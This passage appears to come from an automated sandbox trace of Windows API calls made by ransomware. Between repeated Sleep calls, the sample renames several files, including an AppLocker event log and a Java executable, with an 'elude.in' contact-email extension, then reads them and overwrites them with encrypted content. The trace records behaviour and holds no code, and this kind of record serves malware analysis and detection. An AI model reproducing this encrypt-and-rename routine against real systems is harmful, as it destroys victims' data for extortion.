(dwMilliseconds=0x1) [0082.038] Sleep (dwMilliseconds=0x1) [0082.048] Sleep (dwMilliseconds=0x1) [0082.071] Sleep (dwMilliseconds=0x1) [0082.110] Sleep (dwMilliseconds=0x1) [0082.135] Sleep (dwMilliseconds=0x1) [0082.148] Sleep (dwMilliseconds=0x1) [0082.161] Sleep (dwMilliseconds=0x1) [0082.191] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.230] Sleep (dwMilliseconds=0x1) [0082.261] Sleep (dwMilliseconds=0x1) [0082.274] Sleep (dwMilliseconds=0x1) [0082.297] Sleep (dwMilliseconds=0x1) [0082.306] Sleep (dwMilliseconds=0x1) [0082.373] Sleep (dwMilliseconds=0x1) [0082.415] Sleep (dwMilliseconds=0x1) [0082.543] Sleep (dwMilliseconds=0x1) [0082.585] Sleep (dwMilliseconds=0x1) [0082.639] Sleep (dwMilliseconds=0x1) [0082.680] Sleep (dwMilliseconds=0x1) [0082.731] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.824] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.018] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.106] Sleep (dwMilliseconds=0x1) [0083.148] Sleep (dwMilliseconds=0x1) [0083.203] Sleep (dwMilliseconds=0x1) [0083.239] Sleep (dwMilliseconds=0x1) [0083.295] Sleep (dwMilliseconds=0x1) [0083.334] Sleep (dwMilliseconds=0x1) [0083.388] Sleep (dwMilliseconds=0x1) [0083.433] Sleep (dwMilliseconds=0x1) [0083.706] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.804] Sleep (dwMilliseconds=0x1) [0083.910] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.090] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.340] Sleep (dwMilliseconds=0x1) [0084.740] Sleep (dwMilliseconds=0x1) [0084.808] Sleep (dwMilliseconds=0x1) [0084.879] Sleep (dwMilliseconds=0x1) [0084.958] Sleep (dwMilliseconds=0x1) [0085.048] Sleep (dwMilliseconds=0x1) [0085.123] Sleep (dwMilliseconds=0x1) [0085.180] Sleep (dwMilliseconds=0x1) [0085.344] Sleep (dwMilliseconds=0x1) [0085.392] Sleep (dwMilliseconds=0x1) [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] Sleep (dwMilliseconds=0x1) [0085.961] Sleep (dwMilliseconds=0x1) [0086.079] Sleep (dwMilliseconds=0x1) [0086.190] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] Sleep (dwMilliseconds=0x1) [0086.348] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] Sleep (dwMilliseconds=0x1) [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] Sleep (dwMilliseconds=0x1) [0090.328] Sleep (dwMilliseconds=0x1) [0091.761] Sleep (dwMilliseconds=0x1) [0093.224] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\588bce7c90097ed212\\SetupUi.xsd", len=0x21 | out: pbstr=0x4bfff7c*="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 1 [0093.224] GetProcessHeap () returned 0x630000 [0093.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e37f0, Size=0x9c) returned 0x6e3898 [0093.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0093.245] CloseHandle (hObject=0x6d8) returned 1 [0093.245] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.245] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.246] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.246] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPU~2.FIR")) returned 0x6d5580 [0093.246] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0093.246] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0093.246] GetProcessHeap () returned 0x630000 [0093.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x7110b08 [0093.246] GetProcessHeap () returned 0x630000 [0093.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x71180d8 [0093.247] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.247] ReadFile (in: hFile=0x6d8, lpBuffer=0x7110b08, nNumberOfBytesToRead=0x75a0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7110b08*, lpNumberOfBytesRead=0x4bfff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0097.346] GetProcessHeap () returned 0x630000 [0097.346] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0097.346] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.347] WriteFile (in: hFile=0x6d8, lpBuffer=0x71180d8*, nNumberOfBytesToWrite=0x75a0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71180d8*, lpNumberOfBytesWritten=0x4bfff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0097.347] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.347] WriteFile (in: hFile=0x6d8, lpBuffer=0x711f677*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x711f677*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0097.347] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.347] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0097.347] CloseHandle (hObject=0x6d8) returned 1 [0097.349] GetProcessHeap () returned 0x630000 [0097.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71180d8 | out: hHeap=0x630000) returned 1 [0097.349] GetProcessHeap () returned 0x630000 [0097.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7110b08 | out: hHeap=0x630000) returned 1 [0097.349] GetProcessHeap () returned 0x630000 [0097.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0097.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0097.349] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0xfff8b702, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x75cc, dwReserved0=0xb907496, dwReserved1=0x7110b00, cFileName="SetupUi.xsd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPU~2.FIR")) returned 0x6d4f80 [0097.349] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0097.349] Sleep (dwMilliseconds=0x1) [0098.887] Sleep (dwMilliseconds=0x1) [0100.432] Sleep (dwMilliseconds=0x1) [0101.388] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Boot\\Fonts\\msyh_boot.ttf", len=0x1b | out: pbstr=0x4bfff7c*="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 1 [0101.388] GetProcessHeap () returned 0x630000 [0101.388] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5280, Size=0x34) returned 0x6d52c0 [0101.388] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.333] Sleep (dwMilliseconds=0x1) [0102.353] Sleep (dwMilliseconds=0x1) [0102.378] Sleep (dwMilliseconds=0x1) [0102.379] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.460] Sleep (dwMilliseconds=0x1) [0102.473] Sleep (dwMilliseconds=0x1) [0102.490] Sleep (dwMilliseconds=0x1) [0102.504] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.538] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.569] Sleep (dwMilliseconds=0x1) [0102.583] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.614] Sleep (dwMilliseconds=0x1) [0102.632] Sleep (dwMilliseconds=0x1) [0102.662] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.754] Sleep (dwMilliseconds=0x1) [0102.771] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.817] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.942] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.973] Sleep (dwMilliseconds=0x1) [0102.990] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.021] Sleep (dwMilliseconds=0x1) [0103.087] Sleep (dwMilliseconds=0x1) [0103.099] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.150] Sleep (dwMilliseconds=0x1) [0103.166] Sleep (dwMilliseconds=0x1) [0103.183] Sleep (dwMilliseconds=0x1) [0103.193] Sleep (dwMilliseconds=0x1) [0103.208] Sleep (dwMilliseconds=0x1) [0103.224] Sleep (dwMilliseconds=0x1) [0103.238] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.294] Sleep (dwMilliseconds=0x1) [0103.302] Sleep (dwMilliseconds=0x1) [0103.322] Sleep (dwMilliseconds=0x1) [0103.365] Sleep (dwMilliseconds=0x1) [0103.402] Sleep (dwMilliseconds=0x1) [0103.434] Sleep (dwMilliseconds=0x1) [0103.449] Sleep (dwMilliseconds=0x1) [0103.467] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0103.511] Sleep (dwMilliseconds=0x1) [0103.527] Sleep (dwMilliseconds=0x1) [0103.542] Sleep (dwMilliseconds=0x1) [0103.560] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", len=0x41 | out: pbstr=0x4bfff7c*="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 1 [0103.560] GetProcessHeap () returned 0x630000 [0103.560] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0478, Size=0x10) returned 0x6b1388 [0103.560] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0103.565] CloseHandle (hObject=0x4c8) returned 1 [0103.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.589] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.590] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x16, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~4.FIR")) returned 0x6d51c0 [0103.590] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0103.590] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0103.591] GetProcessHeap () returned 0x630000 [0103.591] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fc0048 [0103.592] GetProcessHeap () returned 0x630000 [0103.592] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fcb478 [0103.592] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.592] ReadFile (in: hFile=0x4c8, lpBuffer=0x6fc0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.167] GetProcessHeap () returned 0x630000 [0112.167] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.167] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.167] WriteFile (in: hFile=0x4c8, lpBuffer=0x6fcb478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcb478*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.167] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.167] WriteFile (in: hFile=0x4c8, lpBuffer=0x6fd6877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd6877*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.168] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.168] WriteFile (in: hFile=0x4c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.168] CloseHandle (hObject=0x4c8) returned 1 [0112.170] GetProcessHeap () returned 0x630000 [0112.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcb478 | out: hHeap=0x630000) returned 1 [0112.170] GetProcessHeap () returned 0x630000 [0112.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0112.170] GetProcessHeap () returned 0x630000 [0112.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0112.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.170] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8cf6007, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xb907496, dwReserved1=0x6fc0040, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~4.FIR")) returned 0x6d4f00 [0112.171] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0112.171] Sleep (dwMilliseconds=0x1) [0113.490] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.554] Sleep (dwMilliseconds=0x1) [0114.920] Sleep (dwMilliseconds=0x1) [0115.211] Sleep (dwMilliseconds=0x1) [0115.505] Sleep (dwMilliseconds=0x1) [0115.904] Sleep (dwMilliseconds=0x1) [0116.896] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", len=0x35 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 1 [0116.896] GetProcessHeap () returned 0x630000 [0116.897] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699828, Size=0x20) returned 0x6e91e8 [0116.897] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0116.904] CloseHandle (hObject=0x688) returned 1 [0116.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xd508e13c, dwReserved1=0x0, cFileName="policytool.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POLICY~1.FIR")) returned 0x6d4ec0 [0116.950] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0116.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0116.950] GetProcessHeap () returned 0x630000 [0116.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f1def8 [0116.950] GetProcessHeap () returned 0x630000 [0116.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f21f68 [0116.950] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.951] ReadFile (in: hFile=0x688, lpBuffer=0x6f1def8, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1def8*, lpNumberOfBytesRead=0x4bfff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.284] GetProcessHeap () returned 0x630000 [0118.284] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0118.284] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.284] WriteFile (in: hFile=0x688, lpBuffer=0x6f21f68*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f21f68*, lpNumberOfBytesWritten=0x4bfff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.284] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.285] WriteFile (in: hFile=0x688, lpBuffer=0x6f25fa7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f25fa7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.285] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.285] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.285] CloseHandle (hObject=0x688) returned 1 [0118.286] GetProcessHeap () returned 0x630000 [0118.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f21f68 | out: hHeap=0x630000) returned 1 [0118.288] GetProcessHeap () returned 0x630000 [0118.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1def8 | out: hHeap=0x630000) returned 1 [0118.289] GetProcessHeap () returned 0x630000 [0118.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0118.289] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc740ec3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xb907496, dwReserved1=0x6f1def0, cFileName="policytool.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POLICY~1.FIR")) returned 0x6d5200 [0118.289] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.289] Sleep (dwMilliseconds=0x1) [0123.294] SysReAllocStringLen (in: 